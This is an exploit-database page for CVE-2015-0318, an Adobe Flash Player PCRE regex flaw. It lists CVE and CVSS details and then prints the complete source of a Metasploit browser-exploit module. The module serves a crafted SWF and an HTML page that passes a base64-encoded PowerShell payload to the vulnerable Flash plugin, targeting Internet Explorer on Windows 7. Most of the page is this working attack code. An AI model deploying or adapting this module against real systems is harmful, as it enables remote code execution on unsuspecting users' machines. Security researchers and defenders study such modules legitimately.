Exploitalert - Database of Exploits

Adobe Flash Player PCRE Regex Logic Error

CVE	Category	Price	Severity
CVE-2015-0318	CWE-787	$5,000-$25,000	High

Author	Risk	Exploitation Type	Date
Sagi Shahar	High	Remote	2015-03-18

CPE
cpe:cpe:/a:adobe:flash_player

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:M/PR:N/UI:N/S:U/C:N/I:N/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2015030119

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000' include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player PCRE Regex Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error in the PCRE engine, specifically in the handling of the \c escape sequence when followed by a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mark Brand', # Found vuln 'sinn3r' # MSF ], 'References' => [ [ 'CVE', '2015-0318' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ], [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'Retries' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{#{CLASSID}}", :method => "LoadMovie", :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, # Ohter versions are vulnerable but .235 is the one that works for me pretty well # So we're gonna limit to this one for now. More validation needed in the future. :flash => lambda { |ver| ver == '16.0.0.235' } }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Nov 25 2014", 'DefaultTarget' => 0)) end def exploit # Please see data/exploits/CVE-2015-0318/ for source, # that's where the actual exploit is @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end print_status("Sending HTML...") tag = retrieve_tag(cli, request) profile = get_profile(tag) profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end

Impressum